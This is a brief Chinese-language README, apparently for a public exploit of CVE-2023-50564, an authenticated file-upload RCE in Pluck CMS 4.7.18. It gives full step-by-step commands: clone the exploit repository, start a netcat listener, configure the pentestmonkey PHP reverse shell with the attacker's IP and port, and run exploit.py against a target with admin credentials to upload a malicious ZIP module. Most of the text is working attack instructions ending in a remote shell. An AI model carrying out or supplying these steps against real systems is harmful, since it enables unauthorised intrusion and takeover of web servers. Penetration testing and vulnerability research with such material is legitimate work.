此漏洞允许 Pluck CMS v4.7.18 中经过认证的管理员上传一个包含 PHP 后门的恶意 ZIP 模块,从而导致远程代码执行 (RCE)。
installmodule 端点git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt
python3 exploit.py -h
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
首先,应在攻击机器上启动反向 shell 监听器(此终端标签不应关闭):
nc -nvlp <specify port>
然后,从 https://github.com/pentestmonkey/php-reverse-shell 下载 PHP 反向 shell,并根据攻击机器的信息(IP、端口)进行自定义。
在另一个标签中运行漏洞利用代码:
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php